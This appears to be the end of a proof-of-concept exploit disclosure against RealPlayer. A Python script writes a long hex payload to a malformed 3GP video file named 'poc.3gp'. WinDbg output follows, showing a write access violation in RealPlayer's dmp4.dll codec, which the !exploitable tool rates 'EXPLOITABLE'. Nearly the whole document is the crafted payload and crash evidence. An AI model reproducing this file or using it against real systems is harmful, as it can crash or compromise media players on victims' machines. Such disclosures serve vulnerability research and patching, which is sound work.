x0DxC9x26x6CxBBx2FxC7xA2x9Ex16x08xF8x94xDFx17x6BxF6xA8x58x46xE3xCCx73x65xF3xE0xA2xA9 xDExDEx75xB6x86xE5x83x31x69x32xE6x8BxADxFCx19x2DxCCx59xB1x82x98x26x48xCAx51x76xE2xACx26xF4 xD4x94x94x2Bx01xA9x34xC4x29xC8x56xBDxADxC1x99x13x33xF0x16xE6x30x8Cx14x4CxA4x18xCCx12 xBFxDAx3CxACx0ExF2x14x15x9Ex7Bx12xE9xA7x91xBAx39x11xCFx83x14xFAx8CxD3x24x1Cx51x7Ex08xD2 xCExF8x2ExB3xDBx00xA5x06x1Bx0Bx08x94x34xADxF9x48xE5xD8x4ExC2x8Dx67x85xA6x8Dx31x3FxABx54x07 xBFxFFx13x0AxFBx86xA1x61xCBx80x53xB9x07xF9x53x69xB1x31x36x18x0Fx61x7Dx87xC8xC6x6Cx39x21 x1Bx19x20x31xA5x2Ax72xC9x90xCDx68xD9x93x55x10x90x25xC5x10x7AxDAx91xD2x3Fx5Dx9Fx44x7Ex51 x1AxEDxE3x63x45xD4x20x8FxFFx04x95x4Ax95x83x33xEEx7Dx3AxCFx04xBBx82x90xC2x14x53xF3xA7x67x26 xDEx48xDEx84x64x57x83x2CxA9xC8xD5x0Bx73xDBx1BxBBxDEx24x31x33x04x17x94xA6x16x81xE1 x3Fx7Dx5Ex0ExB3x6DxE8xCFx86x5DxB2xD5x54xB6x52x95x48x89x89x28xB7xD2xA6xB0x8FxFFxEFx00x00x01 xB6xE5xE2x27xFFxBAxF5x85x26x71x77x17x71x58x16x28x9BxBDx43x4Fx38xA5xB8x4AxF3xF2xBExE1 xAEx5ExEAxEAxEAxFBx19x3BxEDx38x84x30x75xEFxA9x9Cx30xABxE9x9Dx34x99x8FxD6x6FxACx5DxCBx40x28 xEDx3CxBCxF6x68x1Cx03x88x98x3Cx49x04xCCxDAx98xB4x50xA2x3FxFBxC7xE0x89xA4x6Bx78xD3x9FxB8 xAEx15x6DxC0x49x84x6Bx50xA9x72x03x57x81x67x25x89x68xC0xC8x34xA5x8Dx72x95x14xBFxE5xFEx80 x6Dx50xEFx37xADx0Bx3Fx27x47x4Fx23xA9xCAx72x88x8Dx72xB0xB1xDFx45x99x51x29x41x60xBCx14x56x29 xDFxEFx51xF9xB2xC7xA9x03x73xEBxEAx0Bx14xC1x81x9Cx35x34x47x63x0ExA8xCExD8x95xEAxA8x1Bx4Bx05 xF2xABx82x52x82xFFx88xCAx64xFAx4BxCDxA2xF4x4Dx3Cx4Bx12x4Bx80xF5xDFx74xBBxF3x7Dx5Bx9Dx84xE7 xDDx6Ex57x73xEDxD5x29x3Bx05x21x6BxD5x49xBDxD7x2Ax57x54x00x51x1Ax35x39x16xEAx99x77xF9x75 x4Cx95xB2x3DxFDxCCx8CxFFx89x3Cx68xCCxBCx45x07x0Ex25xB6x52x5Fx76x8Fx65x59x12x22x2Ax07xE4x95 x55x69x5DxF3x6Dx6Bx88xA1xC2x93x4Fx9ExB0x0Dx5DxCCxC4x89x05x98x68x52xF9xD2x0Cx29x90x99xB5 x7Ax1Fx11x9Fx34xD2xCEx8Cx9AxC4x31x83x2Ax78xE9x2Cx13x82xF0x4Ax09x7BxF0x7BxE5x0Cx3Ex7BxDExF6 xA8xE6xF6xF4x73xA3x24xB2x6Ex41xC3x17x90xF1xF3x8ExADxFBxDDx5Ax98x94x87x20x75x1CxE2x80 x2Ex8Fx21xC8xABx70x76x50x2ExADx9CxFFxEFx00x00x01xB6x54xC2x67xFFxBAxF2x41xC2x22x42xB6xC5xC1 x7Bx9Cx1BxB8xBAxC1x4Cx2Ax63x97x68x8Bx41x55xA3x07x49xA2x9Fx38x4Bx3BxADx83x0Cx8Ax17xC2x30 x2Bx60x21x1Ax7AxE8xC2x17x63x5BxD4x42xD0xA9xB5xC6x2Cx05x4Ex3Ax69x93xF7x75xB0x1CxA2x36x6Ex32 x88x58x02x0FxB2x77xFCxFAxC8x45xCCx5BxBAxDFx95x81xAFx81x47xA1x38x31xA1xBBxC5x2Ax81xC1x50xD4 x14x2Ex0BxD0xD4x58x5Bx3Ex3AxB2x7Cx60x34x21xCEx61x69x84xCCxFDxA4x9Bx06x5Ex1Ex97x45x34 x7Ax0CxD5x8Ax48x4Ax18x3Ex86x17xF6xC9x9Dx6DxA2x52x4Ex10x0Fx92xACx9AxA4x0Bx28xC4x22xDDx6CxF2 xFCx58x8FxD5x84xA0xC5x0FxDCx19x04x3Cx2AxADx1Bx51x47xEDx8DxA8xC8x29xB5x65x93x41x89xD8xE2x12 x13x11x8Fx95xB6xABx6Bx5Fx06x38x78x7Cx24xCBx6FxB1x2Ax4ExB9x20x59xA7x88xF5x6FxB0xFFx6DxB2 x8Ex87x7CxE0x88xA4x76xD5x2Dx21x9CxFCx64xF1x1Ax4AxD4xBCxD1x70x79xC1x56x74x34x16xA6xABx21x46 x2DxD6xC1x86xA4x23x30xB6x4Dx05x19x65xBEx9ExEDx97xBExC1xE8xEFxDEx59xCCx05x31xF8xFDx57xB2x09 x63xE5x72x89x56xE6x2CxAExEFx09x2Cx70xFBx84x5Ax0Ax14xFCx3Ex63x6Fx98xD3x49x30xF4x69x8Ex23xE3 x63x51x82xD6x16x25x05x13xCFx9Ex35xC8x98x81x64x57x73xCAx53x9Dx33x18x72xEExCBxBDx67x66x9CxD1 xDEx64x11x95xA9xA0x4FxD6x58x52x34x97x89x05xB1x55xA0x44x7BxA0x4AxF8x5Ax44x45x26x20xB3 x3Ex5FxF0x34x08x6AxF4x47x65x65x87x1Ax63xB2x72x01xC6x40x83x64x44xE8x0Ex2AxF0xCFx99xF1x09xA9 xC7xB8x33x89xE5xDEx9Dx77x14xF9x22x0ExBFx83x90x33x86xB8x74xE7xF8x98x15x67xD6x81x51x5Dx44x10 x73x6Fx49x0Ax5Bx70xD2x92xF2x03x19x64x5BxFFx66x7Bx5AxCEx13x38xB7x6BxDCx34xE9xE6x6AxE4x05x61 x01x98x90xE3xF5xF6xE8xEEx81x31xD8x0Fx7BxFFxF7x00x00x01xB6x55xE2x27xFFxBAxF2x4Cx54x21x15 xDBx1Ax5CxF9x1ExB6x4FxCDx11x22xD2x06xF3x05x4Cx09x16x81x11x59xFBx4Ex0Ax4Ex12xFCxFAx82x5Dx82 x03xD2xF5x00xE4xF1x47x62x58x5AxE1xBCx28x94xE4xDDx66xECx27x1Cx16x8CxFAx48x34x37x54xE7xB2x76 x64xCBx4FxACx47xA2xC3x3DxC2x8Fx50x61x79x2CxA5x2Ex74x91xA4x4Ex4ExE3xBDxF1x92x07x5Dx60 xEBxDFx05x20x15x06x28x0CxCDxBCxD1x11xFBx74x23x25xFBxA3x51xA1x9Ax71xB9x43xA1xF2xC7x7AxB4x90 xF1x0ExE8x39xB0x75x13xF6x5CxF7x34xB1x73xC3x7Dx1Ax00xB7x30x74x69x80xA5x65xCAxA5xA0x75x03x43 x93x4Ax79xA7x97x94x67x02xB5xC8x37x15x10x77xEFxB6xA9x29x43xCFx2AxF8x1Bx55x00xADx19x19xADx77 x8Fx4Cx95xDExE8x19xB3x35x64x24x3CxC2x54xECx6Fx05x61xD1x13x12xE2x86xB8x29xACx8Bx13xA1x67x90 x90x8FxD5xC6x46x4AxBAxD8x17xE2x07x19x36x6CxF9x38x88x96x14x56x9FxDBx97x00xE6xCFx2BxA9xB6 x5Ex11x17x29x1DxFBxD7x85xECxCCx38x43x66xC9xB6x6Bx4Dx02x69xF2x41x6Fx28xF7xD4x46x99 x9AxDBx3Ex16x40x57x9Dx07x34x72x98x2CxD6x9Ex06x77x02xCEx65xEDx5Cx27x5CxF9xBAx4AxB1x89x05 xFFxC9x13xEDx98x8Bx76x21xA4x6Bx7Ex53x29xA7x81xF7x10x99x0Dx01x7Fx55x70x98xCBxD1x6Ax53x46xD3 xF2x08x22xC3xAFxB0x66x1AxC5x4BxECxE9xCFxD9x56x21x8Bx1Fx29x18x66x61x61x80xE1x86x7Fx0CxE5 x1ExCDx75xE9x59x64x38x46x9CxA1xC4x0DxEEx81x94x4Cx1BxEFx79xDCxBFxE8x22x0CxD0x3Ax70xA0x80x89 xA8xFCx16xFFxFAx06xD8x2AxBAx52xEEx5Cx5Ex6Ax02x16xCAx9Cx2Ax70x52x56x28x54xCBx3AxE6x49x52xE2 x51xAFx12x90x8Dx08x3Dx5Bx4Ex62x33x4Dx13x14xA5xDDxA4xE8x4Ex28x29x10x8Bx0Ex0Ax07x0Bx07x67x93 x30xE5xC2x40x95x7Dx6Ax8FxDFxCBxD5x04xDBx6Bx1ExD6xC0x91x2Ax44x95x01xAEx99x29x60xF2x0Dx06x47 x39xC3xEAxE6x72x1Ex28x6Bx77x4Ex4Ax55xCBxE6x27xB5x28x60x57xCFxC5x8Ex9FxFFxBFx00x00x01xB6x56 xC2x27xFFxFBx01x5FxE8xE8x02x37x06xF6x02x89xCAx05x11xFFx00x43x82x22x46x65x36xEEx51xA8xCFx84 x6Bx22x61xCBx03x13x0Cx00xE7x62x70xE4xF0xDBx19xD4x2DxA0x9CxFBx4Bx0Ex9AxA5x5DxF1x97xBBx65 x3Fx08xDCxE5xF8x2Bx8Cx3Bx78x8DxB8x17xF7x9Bx56x96x03xBCxE3x37xA0xAEx3ExF2xDEx34x80xF0x56 x9AxD5x3AxB1x02x7Ex0Dx60x57x01x3Cx0Ax4Dx02xB9x00x68xA8x05x83x28x9Ax3Cx54x06x6FxBDxA9x7ExE8 x40x6Dx13x05xC6xCEx04x12xE9xE8x25x0Fx2Fx94xA9xADx08xBCx64x02x79xDFxE3x4Cx21x7AxC8x0Dx97 x5Ax07x15xAFxEFx5Ax34x27xF1x87xE5x11x9Ex08x4Ax3FxFFx89x7Bx64x1FxA8x51x91x30x50xBBx12x62x24 xC0x51xD9xB6x14x85x0Dx04x39x5Ex86xA4x9Ex1CxD2xC8xF2x2Ex61x38x1Ex05x20xC7xECx12x88x63x00 x8Fx43x57xD1xB2xFCxEAx32x05xA6x46x4Ax91x48xBAxC2xA4x5ExA3x59xC5x2Bx90x5Ax66x8Dx25x8DxC1x98 x37x7Ex07xBExD0x16xF3x2Dx29xFExD4xC4x50xB0x50x5CxDFxBDx60x29x95x75x7Ex15x9Ex05x37x67x2Ex01 xB1x71x75x54x07x2Fx89xE6xA8xF1x62x13x92x41x19x36x15x1Ex5CxF9x1BxABx51xFAx72x0Fx20x89 x9Ex1Ax73x9BxA4x8Bx83x10xECx6Dx43x0Fx5Dx05xBBxDEx99x24x59xCCx30x33xEDxD6x1Fx3Ex44x68xC9xA1 x3Ex71x72x13x33x98x69x67xCEx95x8DxB8xE0xA4x87x86x2Fx9Bx37x16x6Cx2Cx1Ax8Ex94x8Ex9Ax25x4Cx28 x2BxC7x80x32x83x0Ex8BxC7xAAx15xD5x3CxE2x9FxB7x63x02x37xB2xBExF3xC2x31xAFx7ExA9xAAx31 x1AxDFx6CxE8x47x94x6FxC3x99xADx29xE7x4Dx23x3Cx9Bx5Ex2Cx6Bx3Cx8Ex64xE1xD4x87x19x7Ex20xA1xE1 xE8xEAxFCx37xD0xAAx31x1Cx68x34x1Cx30x47x07x72x70xC4x20x9Fx95x8CxE9x43xA5xCFx3Cx88xD9x23x92 xC6xE0xB6xDBxF9x65x94x46x66x11x01xCFxE5xFAx8FxD9x59xCEx0Cx97x47xBAxA5x14x1Ax9Fx58x0Dx03x30 xDFx16xDEx69x13x83x36xB3xA7x21xDAx4Cx32xF7x60x1Ax3Cx45xF9x99x81x64x65x87x70x46x44x7Fx8Cx31 x0Dx14xFCxC8xC9x33x5Cx90x29xE1xD0x84x5Ex07xA4x56x3DxB6xC5x6Cx72x61x8Fx55x5Ex57x65x57xE5 x2Ax1Ax53xDCx1Ax84x7AxAAxB6x2Dx99x3ExA1x05xBDxD0x76x91x25xAAx7Bx0Fx0Ax94x61x33x51x86x82x97 x85x4ExC2x83x57x8Ex2Fx03x68x1Dx03xA7x12x2Bx1Ax31x4Ex73x26xA9xCExC6x93x11x36x23xD7 xBCxFFxFDx01x40x40x06xF7x70x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00 x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00 x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00 x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00 x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x0Fx00xF0xBBxA4x3Ex0Fx87x90 x82x6FxE0x03x76x08x08x15x56x73x3Ex2CxFDxA0x23x9Ex24xC7x0AxA0x41x1Cx29x62x94xA6x0Cx5CxC3 x1Fx78x9FxC3x8Fx0FxC7x38x84x2Ex9FxF1xA9xE6x0Dx16xECxBFxF2xABx21x5Cx7DxD7x04x70xA9x7Ax2Fx03 xFAxE5xE1x0Bx1Fx6Fx3Fx1Cx8Ex32x04x2Fx54x26x78x50x2Fx9DxDDx5Fx8Dx0Fx14xB3xACx63x45x86x88x48 xF4xB6x84xDFx8Dx86x88x51xD5x3Ax7FxE9x14xD7x05xCDx19x97xD1xA2xF1xDDx31x1Fx35x30xB6x97x76 xEFx62x6ExCEx99xD9x5AxA3xC5x27xBCx20x1Dx01x1ExBAxD8xBExA6x8Dx92x13x90xDAx41x44x49x0Bx72x54 x00xBCx7Fx5ExF0xDExB5x40xC4x17x42x6DxC6xC9x28x15x4Dx9Cx04x05xF1x1AxCDxF3x32x5FxBCx0Ax70 x1Ax48x2Fx30x0Fx96x7DxA3x45xE0xB5x67x49x6Bx4Dx85x78x5Ex01x97x03x11xBBxDAx42x04x43xF0x35 x6Cx0Cx37x81x1Ax98xD9xC3x9ExAExA6x6ExABxABxD8xA4x64x28x70x74x3ExB0x6Ex31x6DxF5x51xA8xF5x36 xD7x2Bx97x74x0Bx4Bx5Ax75xD0x6Fx64x23xABxC5x6Fx05xA4x74xF7xA2xBCx08x75x47x58xF0x78x12x67xA8 x2Fx32xC7x78x57x1DxFAx36xB6x32xD4xFCxD4xFAxC4x00x57x8CxABx09xF7xC8x98xC0x12xCFxB0xDDxA6x60 xCAxD5x1Ax61xADx41xF6xEExF8x22x60x60x12xBFx69x57x9Ax70x01x2Dx1Ax0Dx19x26x1ExB6xF3x59x93x30 x2DxF8x70x58x9FxF6x6FxA5x3Bx5DxC4x1Cx16x58xD2xAAxBDx01x4ExD5xA2x08xD6x12x0Cx52x6Fx9Dx0Cx55 xEFx41x56x30x02xD2x05x00x50x3CxDCx43x64x46x40xB7x91x47x34xA3x3Cx8AxDCxC9xD6xA4x42x0Fx40xA3 x91x78x85x88x4Ax79x11x13x43x37xCCxE3x40x60xC3xB3x6CxFBx9Dx26xEBx8Fx1AxAExB9xA4x00xE0x07xF9 xDFx62x2BxE7xC9x4Bx1Dx77xD9x2Bx1Bx47x89x6Cx84xBDx89x1CxE4x23x7AxE7xB9xD8xCAx6Ax17x68x88 xCFx0Ax16x82x49x7Bx8Ex83xD9x1ExC5x54x44x9Ax33x69x4DxC7x6CxE4xD2xC9xF8x1BxFBx63x79xE8 x9AxEBxFEx73xE8xE0x5AxF8x61xEExB4xE7x3Fx4Ex0DxBAx11x9FxBDxB6xD7xF2xA6xC9xF7xCExF8x6Cx4Ex93 xBEx0ExB0x51x49xC6x9Fx2CxDBx10xF3x46xB8xFCx7CxEDx30x3Fx01x50x15xA4x8CxA5x3Ax26x02x43x34xB1 x80x5DxFCxC5x3Cx8Ax00xBCx0Bx00x4ExEEx2ExC3xE6xB5xAFxC7x49x53xFBxB9x80x61xFAxF1xB5x33x07 xBDxD0x28xA9x0Ax97x2BxE3xD4x15x58x9DxE3x31xD5xC8xA4x7DxD3xAEx29xB1xCBx0ExEAx84x57xA9x86xF2 xB2x1FxC5xF8x11xF4x53xE7x6FxE1x36x73x12xDBx6Bx3AxF7xE4xF8x59x74x84x12x93x5Ax9Dx3Ax16xCFxB9 xC3x33x4Cx7Ex54x10x77x2Dx41x11x48x0FxA0x77xF1xE8x56x09x93xDAx13x67x4Fx5AxA4x67x6Bx8BxEAx86 x2Cx44x10x53x12xD1x61x55x7Bx68x02x78x26x11x67x9FxF5x77x55xB5xA7x4ExC3x36xBExC5x4Ex7DxE9xD5 xCBx48x07x01x52x15x9Dx14x66x11xA9x08xC2x35xAAx50x03x00x06xECx05xB1x60x23x5Bx5Bx3Dx67x75 xEDx1Ex8ExF4x3Dx70x22x43xA9x72xB0x1Cx8Cx1Cx42x79x22x8ExD3xB8x05x1AxA1x1Dx0Ex9Fx31x6Dx2Dx59 xF9x4Dx04xEExDDxD5x7AxB8x7DxECxA6x65x7CxEBx40x53xF9xF3xD7xBDxAFxF5xBFx27xB5xDCx53xB6x3Dx68 x53xCExE3xD9x4Ex14x29x29x24x1Cx20x4AxE0xDCx33x25xC9xB2x75x22xE2xECx76x0Ex38x96x6BxE8x89xC0 x50x9Dx03x5Ax00x5Ex71xCFx61x74xC5x55x01x4AxC7x30x5DxADxEAx60x0ExADxC7x3BxC6xEDxCEx40x0Ex01 x4Ex15x99x56x15x31x25x4Ex2Ax66x52xD2xCFx7Cx0Ex80xC0x4Ax03x52x94x02x9Dx98xE6x45xA8x02 x9CxBAx7CxFAx25xB2x00x59x1Dx59x76x47xD9x6AxDCx26xE8xB7x68x76x44x8Cx3DxFBxC7x42x07xE8x63" outfile = file("poc.3gp", 'wb') outfile.write(data) outfile.close() print "Created Poc" windbg result: 0:020> g ModLoad: 76360000 76370000 C:WINDOWSsystem32winsta.dll ModLoad: 61750000 61757000 C:Program FilesRealRealPlayermpaplugins jrmapln.dll ModLoad: 61750000 61757000 C:Program FilesRealRealPlayermpaplugins jrmapln.dll ModLoad: 61750000 61757000 C:Program FilesRealRealPlayermpaplugins jrmapln.dll ModLoad: 63690000 636bd000 C:Program FilesRealRealPlayerpluginsmp4fformat.dll ModLoad: 60c10000 60c26000 C:Program FilesRealRealPlayerpluginssmplfsys.dll ModLoad: 61750000 61757000 C:Program FilesRealRealPlayermpaplugins jrmapln.dll ModLoad: 03530000 0364f000 C:Program FilesRealRealPlayerpluginshxmedplyeng.dll ModLoad: 662b0000 66308000 C:WINDOWSsystem32hnetcfg.dll ModLoad: 76d60000 76d79000 C:WINDOWSsystem32IPHLPAPI.DLL ModLoad: 77d00000 77d33000 C:WINDOWSsystem32 etman.dll ModLoad: 76d40000 76d58000 C:WINDOWSsystem32MPRAPI.dll ModLoad: 77cc0000 77cf2000 C:WINDOWSsystem32ACTIVEDS.dll ModLoad: 76e10000 76e35000 C:WINDOWSsystem32adsldpc.dll ModLoad: 76f60000 76f8c000 C:WINDOWSsystem32WLDAP32.dll ModLoad: 76b20000 76b31000 C:WINDOWSsystem32ATL.DLL ModLoad: 76e80000 76e8e000 C:WINDOWSsystem32 tutils.dll ModLoad: 71bf0000 71c03000 C:WINDOWSsystem32SAMLIB.dll ModLoad: 76400000 765a5000 C:WINDOWSsystem32 etshell.dll ModLoad: 76c00000 76c2e000 C:WINDOWSsystem32credui.dll ModLoad: 478c0000 478ca000 C:WINDOWSsystem32dot3api.dll ModLoad: 736d0000 736d6000 C:WINDOWSsystem32dot3dlg.dll ModLoad: 5dca0000 5dcc8000 C:WINDOWSsystem32OneX.DLL ModLoad: 76f50000 76f58000 C:WINDOWSsystem32WTSAPI32.dll ModLoad: 76360000 76370000 C:WINDOWSsystem32WINSTA.dll ModLoad: 745b0000 745d2000 C:WINDOWSsystem32eappcfg.dll ModLoad: 76080000 760e5000 C:WINDOWSsystem32MSVCP60.dll ModLoad: 5dcd0000 5dcde000 C:WINDOWSsystem32eappprxy.dll ModLoad: 76ee0000 76f1c000 C:WINDOWSsystem32RASAPI32.dll ModLoad: 76e90000 76ea2000 C:WINDOWSsystem32 asman.dll ModLoad: 76eb0000 76edf000 C:WINDOWSsystem32TAPI32.dll ModLoad: 73030000 73040000 C:WINDOWSsystem32WZCSAPI.DLL ModLoad: 7db10000 7db9c000 C:WINDOWSsystem32WZCSvc.DLL ModLoad: 76d30000 76d34000 C:WINDOWSsystem32WMI.dll ModLoad: 7d4b0000 7d4d2000 C:WINDOWSsystem32DHCPCSVC.DLL ModLoad: 76f20000 76f47000 C:WINDOWSsystem32DNSAPI.dll ModLoad: 72810000 7281b000 C:WINDOWSsystem32EapolQec.dll ModLoad: 726c0000 726d6000 C:WINDOWSsystem32QUtil.dll ModLoad: 606b0000 607bd000 C:WINDOWSsystem32ESENT.dll ModLoad: 61e40000 61e4b000 C:Program FilesRealRealPlayerpluginsclntxres.dll ModLoad: 63010000 6302a000 C:Program FilesRealRealPlayerpluginsvsrlocal.dll ModLoad: 62740000 62760000 C:Program FilesRealRealPlayer pplugins jbe3260.dll ModLoad: 73f10000 73f6c000 C:WINDOWSsystem32dsound.dll ModLoad: 60a80000 60a8a000 C:Program FilesRealRealPlayerplugins amfformat.dll ModLoad: 04230000 0455d000 C:Program FilesRealRealPlayerMediaInfo.dll ModLoad: 64100000 6412f000 C:Program FilesRealRealPlayerpluginsmp4vrender.dll ModLoad: 61260000 61272000 C:Program FilesRealRealPlayercodecsMP4V.DLL ModLoad: 61390000 613c8000 C:Program FilesRealRealPlayercodecsdmp4.dll ModLoad: 63fd0000 63ff5000 C:Program FilesRealRealPlayerpluginsmp4arender.dll ModLoad: 61940000 619d8000 C:Program FilesRealRealPlayercodecs aac.DLL ModLoad: 62890000 628b7000 C:Program FilesRealRealPlayercommon jbviz.dll ModLoad: 65ca0000 65ca6000 C:Program FilesRealRealPlayerVisualizationsfreqbands.rpv ModLoad: 62000000 62047000 C:WINDOWSsystem32PNCRT.dll ModLoad: 04840000 04b6d000 C:Program FilesRealRealPlayerMediaInfo.dll ModLoad: 62a50000 62ab3000 C:Program FilesRealRealPlayerpluginsvidsite.dll ModLoad: 604d0000 6057b000 C:Program FilesRealRealPlayercodecscolorcvt.dll ModLoad: 7c340000 7c396000 C:WINDOWSsystem32MSVCR71.dll ModLoad: 73760000 737ab000 C:WINDOWSsystem32DDRAW.DLL ModLoad: 73bc0000 73bc6000 C:WINDOWSsystem32DCIMAN32.dll ModLoad: 73760000 737ab000 C:WINDOWSsystem32DDRAW.DLL ModLoad: 73bc0000 73bc6000 C:WINDOWSsystem32DCIMAN32.dll ModLoad: 73760000 737ab000 C:WINDOWSsystem32DDRAW.DLL ModLoad: 73bc0000 73bc6000 C:WINDOWSsystem32DCIMAN32.dll ModLoad: 73760000 737ab000 C:WINDOWSsystem32DDRAW.DLL ModLoad: 73bc0000 73bc6000 C:WINDOWSsystem32DCIMAN32.dll ModLoad: 72d20000 72d29000 C:WINDOWSsystem32wdmaud.drv ModLoad: 72d20000 72d29000 C:WINDOWSsystem32wdmaud.drv ModLoad: 72d20000 72d29000 C:WINDOWSsystem32wdmaud.drv ModLoad: 72d20000 72d29000 C:WINDOWSsystem32wdmaud.drv ModLoad: 72d20000 72d29000 C:WINDOWSsystem32wdmaud.drv ModLoad: 72d10000 72d18000 C:WINDOWSsystem32msacm32.drv ModLoad: 77bd0000 77bd7000 C:WINDOWSsystem32midimap.dll ModLoad: 73ee0000 73ee4000 C:WINDOWSsystem32KsUser.dll ModLoad: 60bc0000 60bd9000 C:Program FilesRealRealPlayerhxaudiodevicehook.dll ModLoad: 60bc0000 60bd9000 C:Program FilesRealRealPlayerhxaudiodevicehook.dll (1f5c.1f20): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:Program FilesRealRealPlayercodecsdmp4.dll - eax=02c504f0 ebx=23c0e2d0 ecx=053ff9a0 edx=053ff9b0 esi=00000000 edi=00000004 eip=613a9fef esp=42c81c88 ebp=053ff96c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 dmp4!GetGUID+0x18e7f: 613a9fef 8944241c mov dword ptr [esp+1Ch],eax ss:0023:42c81ca4=???????? 0:029> .load winext/msec.dll 0:029> !exploitable !exploitable 1.6.0.0 Exploitability Classification: EXPLOITABLE Recommended Bug Title: Exploitable - User Mode Write AV starting at dmp4!GetGUID+0x0000000000018e7f (Hash=0xc6ed2ef6.0xdda7bd8b) User mode write access violations that are not near NULL are exploitable.
